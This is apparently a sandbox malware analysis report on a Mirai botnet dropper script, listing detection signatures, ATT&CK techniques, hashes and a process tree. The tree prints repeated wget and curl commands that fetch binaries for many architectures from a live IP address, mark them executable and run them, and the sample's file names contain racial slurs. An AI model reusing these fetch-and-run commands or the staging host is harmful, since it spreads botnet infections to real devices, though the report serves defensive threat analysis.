mirai | 23023b865ce51c4eedd56707c5ca7af36e5a6e3c721ddd2606db15bee813f38a

Analysis

max time kernel
149s
max time network
150s
platform
ubuntu-18.04_amd64
resource
ubuntu1804-amd64-20240611-en
resource tags

arch:amd64arch:i386image:ubuntu1804-amd64-20240611-enkernel:4.15.0-213-genericlocale:en-usos:ubuntu-18.04-amd64system
submitted
23/03/2025, 11:23

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

GODLYBINSNIGGAYOUCANTCRACKTHESEBITCH11111222268.sh
Size

2KB
MD5

4a5b9744593a1e2c7ffc5088a4481f5f
SHA1

61b4d769440d4c2cc4a2eadb2d8902589ebd7686
SHA256

23023b865ce51c4eedd56707c5ca7af36e5a6e3c721ddd2606db15bee813f38a
SHA512

343cceaf82065cdeeeafc4068feafbace1fe4fd1cc1c689c8869a485206ef5a47248ab6c1b6f86133921e40d211f18495dd7ff3a6865fbbb85ee4749fe849121

Score

10^/10

mirai mirai botnet defense_evasion discovery upx

Malware Config

Extracted

Family

mirai

Botnet

MIRAI

Extracted

Family

mirai

Botnet

MIRAI

Signatures

Mirai
Mirai is a prevalent Linux malware infecting exposed network devices.
botnet mirai
Mirai family
mirai

File and Directory Permissions Modification 1 TTPs 15 IoCs

Adversaries may modify file or directory permissions to evade defenses.

defense_evasion

Linux and Mac File and Directory Permissions Modification

T1222.002

pid	Process
1538	chmod
1571	chmod
1589	chmod
1597	chmod
1502	chmod
1521	chmod
1605	chmod
1554	chmod
1563	chmod
1580	chmod
1613	chmod
1513	chmod
1529	chmod
1546	chmod
1487	chmod

Deletes itself 1 IoCs

pid	Process
1488	GODLYBINSNIGGAYOUCANTCRACKTHESEBITCH11111222268.sh

Executes dropped EXE 15 IoCs

ioc	pid	Process
/tmp/HAHAWTFNIGGA	1488	GODLYBINSNIGGAYOUCANTCRACKTHESEBITCH11111222268.sh
/tmp/HAHAWTFNIGGA	1503	GODLYBINSNIGGAYOUCANTCRACKTHESEBITCH11111222268.sh
/tmp/HAHAWTFNIGGA	1514	GODLYBINSNIGGAYOUCANTCRACKTHESEBITCH11111222268.sh
/tmp/HAHAWTFNIGGA	1523	GODLYBINSNIGGAYOUCANTCRACKTHESEBITCH11111222268.sh
/tmp/HAHAWTFNIGGA	1530	GODLYBINSNIGGAYOUCANTCRACKTHESEBITCH11111222268.sh
/tmp/HAHAWTFNIGGA	1540	GODLYBINSNIGGAYOUCANTCRACKTHESEBITCH11111222268.sh
/tmp/HAHAWTFNIGGA	1548	GODLYBINSNIGGAYOUCANTCRACKTHESEBITCH11111222268.sh
/tmp/HAHAWTFNIGGA	1555	GODLYBINSNIGGAYOUCANTCRACKTHESEBITCH11111222268.sh
/tmp/HAHAWTFNIGGA	1565	GODLYBINSNIGGAYOUCANTCRACKTHESEBITCH11111222268.sh
/tmp/HAHAWTFNIGGA	1572	GODLYBINSNIGGAYOUCANTCRACKTHESEBITCH11111222268.sh
/tmp/HAHAWTFNIGGA	1581	GODLYBINSNIGGAYOUCANTCRACKTHESEBITCH11111222268.sh
/tmp/HAHAWTFNIGGA	1591	GODLYBINSNIGGAYOUCANTCRACKTHESEBITCH11111222268.sh
/tmp/HAHAWTFNIGGA	1599	GODLYBINSNIGGAYOUCANTCRACKTHESEBITCH11111222268.sh
/tmp/HAHAWTFNIGGA	1607	GODLYBINSNIGGAYOUCANTCRACKTHESEBITCH11111222268.sh
/tmp/HAHAWTFNIGGA	1615	GODLYBINSNIGGAYOUCANTCRACKTHESEBITCH11111222268.sh

Modifies Watchdog functionality 1 TTPs 2 IoCs

Malware like Mirai modifies the Watchdog to prevent it restarting an infected system.

defense_evasion

Impair Defenses

T1562

description	ioc	Process
File opened for modification	/dev/misc/watchdog	GODLYBINSNIGGAYOUCANTCRACKTHESEBITCH11111222268.sh
File opened for modification	/dev/watchdog	GODLYBINSNIGGAYOUCANTCRACKTHESEBITCH11111222268.sh

UPX packed file 19 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral1/files/fstream-1.dat	upx
behavioral1/files/fstream-4.dat	upx
behavioral1/files/fstream-6.dat	upx
behavioral1/files/fstream-13.dat	upx
behavioral1/files/fstream-15.dat	upx
behavioral1/files/fstream-17.dat	upx
behavioral1/files/fstream-19.dat	upx
behavioral1/files/fstream-21.dat	upx
behavioral1/files/fstream-23.dat	upx
behavioral1/files/fstream-25.dat	upx
behavioral1/files/fstream-27.dat	upx
behavioral1/files/fstream-29.dat	upx
behavioral1/files/fstream-31.dat	upx
behavioral1/files/fstream-33.dat	upx
behavioral1/files/fstream-35.dat	upx
behavioral1/files/fstream-37.dat	upx
behavioral1/files/fstream-39.dat	upx
behavioral1/files/fstream-41.dat	upx
behavioral1/files/fstream-43.dat	upx

Changes its process name 1 IoCs

description	pid	Process
Changes the process name, possibly in an attempt to hide itself	1488	GODLYBINSNIGGAYOUCANTCRACKTHESEBITCH11111222268.sh

System Network Configuration Discovery 1 TTPs 3 IoCs

Adversaries may gather information about the network configuration of a system.

discovery

System Network Configuration Discovery

T1016

pid	Process
1490	wget
1494	curl
1501	cat

Writes file to tmp directory 30 IoCs

Malware often drops required files in the /tmp directory.

description	ioc	Process
File opened for modification	/tmp/x86_64	wget
File opened for modification	/tmp/arm5	wget
File opened for modification	/tmp/arm6	curl
File opened for modification	/tmp/spc	wget
File opened for modification	/tmp/sh4	wget
File opened for modification	/tmp/x86	wget
File opened for modification	/tmp/mpsl	wget
File opened for modification	/tmp/arm	wget
File opened for modification	/tmp/m68k	wget
File opened for modification	/tmp/arc	wget
File opened for modification	/tmp/i468	curl
File opened for modification	/tmp/i686	wget
File opened for modification	/tmp/arm5	curl
File opened for modification	/tmp/mips	wget
File opened for modification	/tmp/x86_64	curl
File opened for modification	/tmp/arm7	wget
File opened for modification	/tmp/m68k	curl
File opened for modification	/tmp/HAHAWTFNIGGA	GODLYBINSNIGGAYOUCANTCRACKTHESEBITCH11111222268.sh
File opened for modification	/tmp/mpsl	curl
File opened for modification	/tmp/mips	curl
File opened for modification	/tmp/arm	curl
File opened for modification	/tmp/spc	curl
File opened for modification	/tmp/x86	curl
File opened for modification	/tmp/arc	curl
File opened for modification	/tmp/arm6	wget
File opened for modification	/tmp/arm7	curl
File opened for modification	/tmp/ppc	wget
File opened for modification	/tmp/ppc	curl
File opened for modification	/tmp/sh4	curl
File opened for modification	/tmp/i686	curl

/tmp/GODLYBINSNIGGAYOUCANTCRACKTHESEBITCH11111222268.sh
/tmp/GODLYBINSNIGGAYOUCANTCRACKTHESEBITCH11111222268.sh
1⤵
- Deletes itself
- Executes dropped EXE
- Modifies Watchdog functionality
- Changes its process name
- Writes file to tmp directory
PID:1480
- /usr/bin/wget
  wget http://198.98.51.68/GOONGANGONTOP/x86
  2⤵
  - Writes file to tmp directory
  PID:1481
- /usr/bin/curl
  curl -O http://198.98.51.68/GOONGANGONTOP/x86
  2⤵
  - Writes file to tmp directory
  PID:1485
- /bin/cat
  cat x86
  2⤵
  PID:1486
- /bin/chmod
  chmod +x config-err-YaDWEb GODLYBINSNIGGAYOUCANTCRACKTHESEBITCH11111222268.sh HAHAWTFNIGGA netplan_00jvjmdy snap-private-tmp ssh-IU2XV3AWLQa1 systemd-private-d46feef123ab45309818f9ae76d6c369-bolt.service-iawjZJ systemd-private-d46feef123ab45309818f9ae76d6c369-colord.service-MkWvhM systemd-private-d46feef123ab45309818f9ae76d6c369-ModemManager.service-ockDLB systemd-private-d46feef123ab45309818f9ae76d6c369-systemd-resolved.service-yB7gR0 systemd-private-d46feef123ab45309818f9ae76d6c369-systemd-timedated.service-0E9lGt x86
  2⤵
  - File and Directory Permissions Modification
  PID:1487
- /usr/bin/wget
  wget http://198.98.51.68/GOONGANGONTOP/mips
  2⤵
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:1490
- /usr/bin/curl
  curl -O http://198.98.51.68/GOONGANGONTOP/mips
  2⤵
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:1494
- /bin/cat
  cat mips
  2⤵
  - System Network Configuration Discovery
  PID:1501
- /bin/chmod
  chmod +x config-err-YaDWEb GODLYBINSNIGGAYOUCANTCRACKTHESEBITCH11111222268.sh HAHAWTFNIGGA netplan_00jvjmdy snap-private-tmp ssh-IU2XV3AWLQa1 systemd-private-d46feef123ab45309818f9ae76d6c369-bolt.service-iawjZJ systemd-private-d46feef123ab45309818f9ae76d6c369-colord.service-MkWvhM systemd-private-d46feef123ab45309818f9ae76d6c369-ModemManager.service-ockDLB systemd-private-d46feef123ab45309818f9ae76d6c369-systemd-resolved.service-yB7gR0 systemd-private-d46feef123ab45309818f9ae76d6c369-systemd-timedated.service-0E9lGt x86
  2⤵
  - File and Directory Permissions Modification
  PID:1502
- /tmp/HAHAWTFNIGGA
  ./HAHAWTFNIGGA
  2⤵
  PID:1503
- /usr/bin/wget
  wget http://198.98.51.68/GOONGANGONTOP/arc
  2⤵
  - Writes file to tmp directory
  PID:1505
- /usr/bin/curl
  curl -O http://198.98.51.68/GOONGANGONTOP/arc
  2⤵
  - Writes file to tmp directory
  PID:1510
- /bin/cat
  cat arc
  2⤵
  PID:1512
- /bin/chmod
  chmod +x config-err-YaDWEb GODLYBINSNIGGAYOUCANTCRACKTHESEBITCH11111222268.sh HAHAWTFNIGGA netplan_00jvjmdy snap-private-tmp ssh-IU2XV3AWLQa1 systemd-private-d46feef123ab45309818f9ae76d6c369-bolt.service-iawjZJ systemd-private-d46feef123ab45309818f9ae76d6c369-colord.service-MkWvhM systemd-private-d46feef123ab45309818f9ae76d6c369-ModemManager.service-ockDLB systemd-private-d46feef123ab45309818f9ae76d6c369-systemd-resolved.service-yB7gR0 systemd-private-d46feef123ab45309818f9ae76d6c369-systemd-timedated.service-0E9lGt x86
  2⤵
  - File and Directory Permissions Modification
  PID:1513
- /tmp/HAHAWTFNIGGA
  ./HAHAWTFNIGGA
  2⤵
  PID:1514
- /usr/bin/wget
  wget http://198.98.51.68/GOONGANGONTOP/i468
  2⤵
  PID:1516
- /usr/bin/curl
  curl -O http://198.98.51.68/GOONGANGONTOP/i468
  2⤵
  - Writes file to tmp directory
  PID:1518
- /bin/cat
  cat i468
  2⤵
  PID:1520
- /bin/chmod
  chmod +x config-err-YaDWEb GODLYBINSNIGGAYOUCANTCRACKTHESEBITCH11111222268.sh HAHAWTFNIGGA netplan_00jvjmdy snap-private-tmp ssh-IU2XV3AWLQa1 systemd-private-d46feef123ab45309818f9ae76d6c369-bolt.service-iawjZJ systemd-private-d46feef123ab45309818f9ae76d6c369-colord.service-MkWvhM systemd-private-d46feef123ab45309818f9ae76d6c369-ModemManager.service-ockDLB systemd-private-d46feef123ab45309818f9ae76d6c369-systemd-resolved.service-yB7gR0 systemd-private-d46feef123ab45309818f9ae76d6c369-systemd-timedated.service-0E9lGt x86
  2⤵
  - File and Directory Permissions Modification
  PID:1521
- /tmp/HAHAWTFNIGGA
  ./HAHAWTFNIGGA
  2⤵
  PID:1523
- /usr/bin/wget
  wget http://198.98.51.68/GOONGANGONTOP/i686
  2⤵
  - Writes file to tmp directory
  PID:1524
- /usr/bin/curl
  curl -O http://198.98.51.68/GOONGANGONTOP/i686
  2⤵
  - Writes file to tmp directory
  PID:1526
- /bin/cat
  cat i686
  2⤵
  PID:1528
- /bin/chmod
  chmod +x config-err-YaDWEb GODLYBINSNIGGAYOUCANTCRACKTHESEBITCH11111222268.sh HAHAWTFNIGGA netplan_00jvjmdy snap-private-tmp ssh-IU2XV3AWLQa1 systemd-private-d46feef123ab45309818f9ae76d6c369-bolt.service-iawjZJ systemd-private-d46feef123ab45309818f9ae76d6c369-colord.service-MkWvhM systemd-private-d46feef123ab45309818f9ae76d6c369-ModemManager.service-ockDLB systemd-private-d46feef123ab45309818f9ae76d6c369-systemd-resolved.service-yB7gR0 systemd-private-d46feef123ab45309818f9ae76d6c369-systemd-timedated.service-0E9lGt x86
  2⤵
  - File and Directory Permissions Modification
  PID:1529
- /tmp/HAHAWTFNIGGA
  ./HAHAWTFNIGGA
  2⤵
  PID:1530
- /usr/bin/wget
  wget http://198.98.51.68/GOONGANGONTOP/x86_64
  2⤵
  - Writes file to tmp directory
  PID:1532
- /usr/bin/curl
  curl -O http://198.98.51.68/GOONGANGONTOP/x86_64
  2⤵
  - Writes file to tmp directory
  PID:1535
- /bin/cat
  cat x86_64
  2⤵
  PID:1537
- /bin/chmod
  chmod +x config-err-YaDWEb GODLYBINSNIGGAYOUCANTCRACKTHESEBITCH11111222268.sh HAHAWTFNIGGA netplan_00jvjmdy snap-private-tmp ssh-IU2XV3AWLQa1 systemd-private-d46feef123ab45309818f9ae76d6c369-bolt.service-iawjZJ systemd-private-d46feef123ab45309818f9ae76d6c369-colord.service-MkWvhM systemd-private-d46feef123ab45309818f9ae76d6c369-ModemManager.service-ockDLB systemd-private-d46feef123ab45309818f9ae76d6c369-systemd-resolved.service-yB7gR0 systemd-private-d46feef123ab45309818f9ae76d6c369-systemd-timedated.service-0E9lGt x86
  2⤵
  - File and Directory Permissions Modification
  PID:1538
- /tmp/HAHAWTFNIGGA
  ./HAHAWTFNIGGA
  2⤵
  PID:1540
- /usr/bin/wget
  wget http://198.98.51.68/GOONGANGONTOP/mpsl
  2⤵
  - Writes file to tmp directory
  PID:1541
- /usr/bin/curl
  curl -O http://198.98.51.68/GOONGANGONTOP/mpsl
  2⤵
  - Writes file to tmp directory
  PID:1543
- /bin/cat
  cat mpsl
  2⤵
  PID:1545
- /bin/chmod
  chmod +x config-err-YaDWEb GODLYBINSNIGGAYOUCANTCRACKTHESEBITCH11111222268.sh HAHAWTFNIGGA netplan_00jvjmdy snap-private-tmp ssh-IU2XV3AWLQa1 systemd-private-d46feef123ab45309818f9ae76d6c369-bolt.service-iawjZJ systemd-private-d46feef123ab45309818f9ae76d6c369-colord.service-MkWvhM systemd-private-d46feef123ab45309818f9ae76d6c369-ModemManager.service-ockDLB systemd-private-d46feef123ab45309818f9ae76d6c369-systemd-resolved.service-yB7gR0 systemd-private-d46feef123ab45309818f9ae76d6c369-systemd-timedated.service-0E9lGt x86
  2⤵
  - File and Directory Permissions Modification
  PID:1546
- /tmp/HAHAWTFNIGGA
  ./HAHAWTFNIGGA
  2⤵
  PID:1548
- /usr/bin/wget
  wget http://198.98.51.68/GOONGANGONTOP/arm
  2⤵
  - Writes file to tmp directory
  PID:1549
- /usr/bin/curl
  curl -O http://198.98.51.68/GOONGANGONTOP/arm
  2⤵
  - Writes file to tmp directory
  PID:1551
- /bin/cat
  cat arm
  2⤵
  PID:1553
- /bin/chmod
  chmod +x config-err-YaDWEb GODLYBINSNIGGAYOUCANTCRACKTHESEBITCH11111222268.sh HAHAWTFNIGGA netplan_00jvjmdy snap-private-tmp ssh-IU2XV3AWLQa1 systemd-private-d46feef123ab45309818f9ae76d6c369-bolt.service-iawjZJ systemd-private-d46feef123ab45309818f9ae76d6c369-colord.service-MkWvhM systemd-private-d46feef123ab45309818f9ae76d6c369-ModemManager.service-ockDLB systemd-private-d46feef123ab45309818f9ae76d6c369-systemd-resolved.service-yB7gR0 systemd-private-d46feef123ab45309818f9ae76d6c369-systemd-timedated.service-0E9lGt x86
  2⤵
  - File and Directory Permissions Modification
  PID:1554
- /tmp/HAHAWTFNIGGA
  ./HAHAWTFNIGGA
  2⤵
  PID:1555
- /usr/bin/wget
  wget http://198.98.51.68/GOONGANGONTOP/arm5
  2⤵
  - Writes file to tmp directory
  PID:1557
- /usr/bin/curl
  curl -O http://198.98.51.68/GOONGANGONTOP/arm5
  2⤵
  - Writes file to tmp directory
  PID:1560
- /bin/cat
  cat arm5
  2⤵
  PID:1562
- /bin/chmod
  chmod +x config-err-YaDWEb GODLYBINSNIGGAYOUCANTCRACKTHESEBITCH11111222268.sh HAHAWTFNIGGA netplan_00jvjmdy snap-private-tmp ssh-IU2XV3AWLQa1 systemd-private-d46feef123ab45309818f9ae76d6c369-bolt.service-iawjZJ systemd-private-d46feef123ab45309818f9ae76d6c369-colord.service-MkWvhM systemd-private-d46feef123ab45309818f9ae76d6c369-ModemManager.service-ockDLB systemd-private-d46feef123ab45309818f9ae76d6c369-systemd-resolved.service-yB7gR0 systemd-private-d46feef123ab45309818f9ae76d6c369-systemd-timedated.service-0E9lGt x86
  2⤵
  - File and Directory Permissions Modification
  PID:1563
- /tmp/HAHAWTFNIGGA
  ./HAHAWTFNIGGA
  2⤵
  PID:1565
- /usr/bin/wget
  wget http://198.98.51.68/GOONGANGONTOP/arm6
  2⤵
  - Writes file to tmp directory
  PID:1566
- /usr/bin/curl
  curl -O http://198.98.51.68/GOONGANGONTOP/arm6
  2⤵
  - Writes file to tmp directory
  PID:1568
- /bin/cat
  cat arm6
  2⤵
  PID:1570
- /bin/chmod
  chmod +x config-err-YaDWEb GODLYBINSNIGGAYOUCANTCRACKTHESEBITCH11111222268.sh HAHAWTFNIGGA netplan_00jvjmdy snap-private-tmp ssh-IU2XV3AWLQa1 systemd-private-d46feef123ab45309818f9ae76d6c369-bolt.service-iawjZJ systemd-private-d46feef123ab45309818f9ae76d6c369-colord.service-MkWvhM systemd-private-d46feef123ab45309818f9ae76d6c369-ModemManager.service-ockDLB systemd-private-d46feef123ab45309818f9ae76d6c369-systemd-resolved.service-yB7gR0 systemd-private-d46feef123ab45309818f9ae76d6c369-systemd-timedated.service-0E9lGt x86
  2⤵
  - File and Directory Permissions Modification
  PID:1571
- /tmp/HAHAWTFNIGGA
  ./HAHAWTFNIGGA
  2⤵
  PID:1572
- /usr/bin/wget
  wget http://198.98.51.68/GOONGANGONTOP/arm7
  2⤵
  - Writes file to tmp directory
  PID:1575
- /usr/bin/curl
  curl -O http://198.98.51.68/GOONGANGONTOP/arm7
  2⤵
  - Writes file to tmp directory
  PID:1577
- /bin/cat
  cat arm7
  2⤵
  PID:1579
- /bin/chmod
  chmod +x config-err-YaDWEb GODLYBINSNIGGAYOUCANTCRACKTHESEBITCH11111222268.sh HAHAWTFNIGGA netplan_00jvjmdy snap-private-tmp ssh-IU2XV3AWLQa1 systemd-private-d46feef123ab45309818f9ae76d6c369-bolt.service-iawjZJ systemd-private-d46feef123ab45309818f9ae76d6c369-colord.service-MkWvhM systemd-private-d46feef123ab45309818f9ae76d6c369-ModemManager.service-ockDLB systemd-private-d46feef123ab45309818f9ae76d6c369-systemd-resolved.service-yB7gR0 systemd-private-d46feef123ab45309818f9ae76d6c369-systemd-timedated.service-0E9lGt x86
  2⤵
  - File and Directory Permissions Modification
  PID:1580
- /tmp/HAHAWTFNIGGA
  ./HAHAWTFNIGGA
  2⤵
  PID:1581
- /usr/bin/wget
  wget http://198.98.51.68/GOONGANGONTOP/ppc
  2⤵
  - Writes file to tmp directory
  PID:1583
- /usr/bin/curl
  curl -O http://198.98.51.68/GOONGANGONTOP/ppc
  2⤵
  - Writes file to tmp directory
  PID:1586
- /bin/cat
  cat ppc
  2⤵
  PID:1588
- /bin/chmod
  chmod +x config-err-YaDWEb GODLYBINSNIGGAYOUCANTCRACKTHESEBITCH11111222268.sh HAHAWTFNIGGA netplan_00jvjmdy snap-private-tmp ssh-IU2XV3AWLQa1 systemd-private-d46feef123ab45309818f9ae76d6c369-bolt.service-iawjZJ systemd-private-d46feef123ab45309818f9ae76d6c369-colord.service-MkWvhM systemd-private-d46feef123ab45309818f9ae76d6c369-ModemManager.service-ockDLB systemd-private-d46feef123ab45309818f9ae76d6c369-systemd-resolved.service-yB7gR0 systemd-private-d46feef123ab45309818f9ae76d6c369-systemd-timedated.service-0E9lGt x86
  2⤵
  - File and Directory Permissions Modification
  PID:1589
- /tmp/HAHAWTFNIGGA
  ./HAHAWTFNIGGA
  2⤵
  PID:1591
- /usr/bin/wget
  wget http://198.98.51.68/GOONGANGONTOP/spc
  2⤵
  - Writes file to tmp directory
  PID:1592
- /usr/bin/curl
  curl -O http://198.98.51.68/GOONGANGONTOP/spc
  2⤵
  - Writes file to tmp directory
  PID:1594
- /bin/cat
  cat spc
  2⤵
  PID:1596
- /bin/chmod
  chmod +x config-err-YaDWEb GODLYBINSNIGGAYOUCANTCRACKTHESEBITCH11111222268.sh HAHAWTFNIGGA netplan_00jvjmdy snap-private-tmp ssh-IU2XV3AWLQa1 systemd-private-d46feef123ab45309818f9ae76d6c369-bolt.service-iawjZJ systemd-private-d46feef123ab45309818f9ae76d6c369-colord.service-MkWvhM systemd-private-d46feef123ab45309818f9ae76d6c369-ModemManager.service-ockDLB systemd-private-d46feef123ab45309818f9ae76d6c369-systemd-resolved.service-yB7gR0 systemd-private-d46feef123ab45309818f9ae76d6c369-systemd-timedated.service-0E9lGt x86
  2⤵
  - File and Directory Permissions Modification
  PID:1597
- /tmp/HAHAWTFNIGGA
  ./HAHAWTFNIGGA
  2⤵
  PID:1599
- /usr/bin/wget
  wget http://198.98.51.68/GOONGANGONTOP/m68k
  2⤵
  - Writes file to tmp directory
  PID:1600
- /usr/bin/curl
  curl -O http://198.98.51.68/GOONGANGONTOP/m68k
  2⤵
  - Writes file to tmp directory
  PID:1602
- /bin/cat
  cat m68k
  2⤵
  PID:1604
- /bin/chmod
  chmod +x config-err-YaDWEb GODLYBINSNIGGAYOUCANTCRACKTHESEBITCH11111222268.sh HAHAWTFNIGGA netplan_00jvjmdy snap-private-tmp ssh-IU2XV3AWLQa1 systemd-private-d46feef123ab45309818f9ae76d6c369-bolt.service-iawjZJ systemd-private-d46feef123ab45309818f9ae76d6c369-colord.service-MkWvhM systemd-private-d46feef123ab45309818f9ae76d6c369-ModemManager.service-ockDLB systemd-private-d46feef123ab45309818f9ae76d6c369-systemd-resolved.service-yB7gR0 systemd-private-d46feef123ab45309818f9ae76d6c369-systemd-timedated.service-0E9lGt x86
  2⤵
  - File and Directory Permissions Modification
  PID:1605
- /tmp/HAHAWTFNIGGA
  ./HAHAWTFNIGGA
  2⤵
  PID:1607
- /usr/bin/wget
  wget http://198.98.51.68/GOONGANGONTOP/sh4
  2⤵
  - Writes file to tmp directory
  PID:1608
- /usr/bin/curl
  curl -O http://198.98.51.68/GOONGANGONTOP/sh4
  2⤵
  - Writes file to tmp directory
  PID:1610
- /bin/cat
  cat sh4
  2⤵
  PID:1612
- /bin/chmod
  chmod +x config-err-YaDWEb GODLYBINSNIGGAYOUCANTCRACKTHESEBITCH11111222268.sh HAHAWTFNIGGA netplan_00jvjmdy snap-private-tmp ssh-IU2XV3AWLQa1 systemd-private-d46feef123ab45309818f9ae76d6c369-bolt.service-iawjZJ systemd-private-d46feef123ab45309818f9ae76d6c369-colord.service-MkWvhM systemd-private-d46feef123ab45309818f9ae76d6c369-ModemManager.service-ockDLB systemd-private-d46feef123ab45309818f9ae76d6c369-systemd-resolved.service-yB7gR0 systemd-private-d46feef123ab45309818f9ae76d6c369-systemd-timedated.service-0E9lGt x86
  2⤵
  - File and Directory Permissions Modification
  PID:1613
- /tmp/HAHAWTFNIGGA
  ./HAHAWTFNIGGA
  2⤵
  PID:1615

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

File and Directory Permissions Modification

T1222

Linux and Mac File and Directory Permissions Modification

T1222.002

Impair Defenses

T1562

Credential Access

Discovery

System Network Configuration Discovery

T1016

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

/tmp/arc

Filesize
12KB

MD5
8a22f51208fa86b341de9cd65a965639

SHA1
c38faf8c3e2976cba8fdc06fd2482125988546f0

SHA256
a249036413abfc0572e5abc295191c9fd356143bc835dcd55a084ae0b3131848

SHA512
ff9ba5a87e62075df1c1d90d8d38093e478733bf58e6409878e48c167d7fca299f00f60a50f829f64c8b931f27f4208ddadf9ce8474d46f41ce0b6d8b51394d6

Download Submit
/tmp/arc

Filesize
97KB

MD5
fc85571a5bb3eeab7a02a6f5487eb85b

SHA1
7eee3359324dacfccef52eeadf10c00ab99e4be3

SHA256
83cee0182b82255c28fdc24ffdcb52bc744b94fa74b2a42542d6c22bd9bf0eeb

SHA512
3cac2a6ee5688106c23b0ab29588f9b1a82475343653e36a2819d6be6387a5deb2bf07d935c8c5920fb7b12da394b29c062b10bc91ce469254db9f626455fbcc

Download Submit
/tmp/arc

Filesize
12KB

MD5
478a06f4dac8355f31f88147b9d21911

SHA1
2de3c4b226e2119efad942f11e1fa6cf62db67fe

SHA256
241febe7a18b5b46b87ec036a92df9284095d668149984051ce630fe5c4172fa

SHA512
825c080027f178373a1dddc2927b9eacdc8ad1b11b8410e7283b951cda015ea5917a4208ea2a3172b7f9356bede4ac107aeb61a7d1cc0ae420bf53463bc0f56a

Download Submit
/tmp/arc

Filesize
97KB

MD5
f70b064b11f0c5325af6deca82738e35

SHA1
3de759a44ded72c193d8d72ef75b09bca0c0df9e

SHA256
7faf100e23133ad12b28e2e2afc5b2676f6fab7f7e698884b18e949d7dc43a2f

SHA512
e5c01ab5cd78eaa5d0c5b9f2cd4ad555c8edfde8978a4c073ffdea481469d2add199196bcad4c4766ed525ceb6159faf3a76bc1b448e9c4048db7068d60931e3

Download Submit
/tmp/arm

Filesize
12KB

MD5
4b387d50fa6dd48d1ac7566d9ec00a66

SHA1
a9534e7818ca132f126b1f3668707d7328942ce3

SHA256
571209c71c84983f184ae0a3756c83789b7069bd3da1738faf0b2b83290f3a8a

SHA512
a1764224d049f91f2e4dc7e8305d671389866ee7373058f3cc806fcf2ca4da64a0a6e8a8498bdf7c1696b1c2c8e037838790d306a245d087dccdbb1daa5ef93e

Download Submit
/tmp/arm

Filesize
27KB

MD5
3dbccb0857172af4da78f9a293a2bed4

SHA1
7b7c516e8051dea75fc34eaafe76c1107740e71d

SHA256
9e68e0abde9c144312f1588abe490ba18e13a27f8c334edfa71cc2fb88334c30

SHA512
226a9a89a2d69e9d8cb98ad0de61fad591f977d739e77951f1eda7b8f2da0405146dfcc166c728e21ed346f773d56b92b6d99a2ff5a7b4c43ab5a37b26ed78ad

Download Submit
/tmp/arm

Filesize
12KB

MD5
56d2718ff991371d82bc79b6892d1e04

SHA1
e433d31a2c377bbeee36f7d9d6f4e2442e64ab2f

SHA256
08904d06be585576aa1b3a3f5043f2c1df2b4df9462b9ba99907bc3604fe740e

SHA512
4008b9c020304da6c3fd2bbd2ee8bc50ac3eecd63fbc7f81f148f76cf208f060fd18c17cbf73ab5d9e7e4cb2c4d61d5422c77d419cf0ae85313511db041a1579

Download Submit
/tmp/arm

Filesize
27KB

MD5
58725a1abb93d1d93f141d640ba4142d

SHA1
a6838753d13e48174fd8f590ed8960583d4a8214

SHA256
6f88e1163b323192b726ada398e15e5f9ef98a9113a7cbd25dc1f54120ec9095

SHA512
cd11fc92a42ee73be0aa9414a7f55ac5e3fab79050d2ab5412c440cb80f80e7d619cc2373625fd1bf389dba529b60e86eb23bc32751a4076c046a7fde73701ec

Download Submit
/tmp/arm5

Filesize
1KB

MD5
10396352f4fa5c2c2983f4048431315c

SHA1
a6785c36fd1a0786f0bf7f99254ca61aaba78973

SHA256
99a905b66f8b41252ecf4dfc9d5363b99e8accc70f29d09cda1de20678860ca4

SHA512
c9b51790fe75765d5d4b077451460abfcdf0497afdff7b86a3b156197884a5b3af0beae9618545349a700364a016a3897e40fabf9d2544232d56d72f9f934569

Download Submit
/tmp/arm5

Filesize
17KB

MD5
2d6984cee4c629c71dff3f9ecd7617a0

SHA1
3e63e04059e08c50d254f338d7b4fb6b36f0adf3

SHA256
3dec183ebc7f65340ab775f1bf11fcd529e8112a374756164686e8c94607eb9e

SHA512
6dd71137e12fbae13c1679040153da326b74449ae15e2ea3040a57b4f097be719fdc1e8f2d8fbbe6719c8ba9580363ad704438b4c30fb5dd26102782f5df6775

Download Submit
/tmp/arm5

Filesize
12KB

MD5
5d2ab31412b7a72537054fb0493970e3

SHA1
2e618da303b0b300e5905e73037e3259e36f60fc

SHA256
b438c140fd5b5b6cfa161555c4163f0a64cbf8b2810cdeb8c217ae040102a419

SHA512
1d43e460dee3e72108f4dcd822e9804594d1dd0aca2d5cca57a90628e8f3d835d1d2cfb803f648b0d10c2e0168a0bafdddc165e69f6b1e3047ee9098118c0015

Download Submit
/tmp/arm5

Filesize
17KB

MD5
546bc27c3bbd754dd3f98bb0a7fbcb8d

SHA1
3a443ed4c3fa94443bd79245b932970630d1ba57

SHA256
a510b2f2e4cffa4d96ffb616ed1258bd882119b7800ac0b923ad235a3f51e38b

SHA512
3fc44cd7f2b28399c021f0156b34eb52f8328a8c6e9446edb35f0881f5c4c1adfd674b3b66a16ce6af6e362040f2803381b8187c48c1775ee4d9a8ee3a4892e3

Download Submit
/tmp/arm6

Filesize
12KB

MD5
270e7a503f27d76c91acfe3ffc6dd7ee

SHA1
fd20ba05a83244726042d69182ab783d2c2e93ca

SHA256
8c2041852b76c8f79d75000838815da630c3d2f84a5b92b9b2fee800c906fde0

SHA512
ec528382a122d4ca750509fe552002dfc52a4adf8bc2bf7af07aff67a72264fa70430b759400314e6200d65cc97dd33b240117f0051798c6581127f86842a748

Download Submit
/tmp/arm6

Filesize
32KB

MD5
86463c70bed41e91d9e866b49f030704

SHA1
3056d70d985707431fd3c8da485859a8b99ac740

SHA256
4a26876fd8670216dcabf1e848f4672ef7a7af2580141f62f3c1d4058b42ce98

SHA512
0ae8814b9493da652296271030525a2cbe689e8fbd08135526835fd1db1f180908e5ba3c7124e95755249681e35fac49e65a9d0c5bbbc40fd2434de46961994f

Download Submit
/tmp/arm6

Filesize
12KB

MD5
3dd42c05e120d17dee9b0cfc8c8afc09

SHA1
2d69a517e2f45b8e61c8217dea09c28e13f53021

SHA256
41cb8a16cbea523f95082ee9b9e4cd4f43af9f3af6dfed54a1dcc2209643e6bc

SHA512
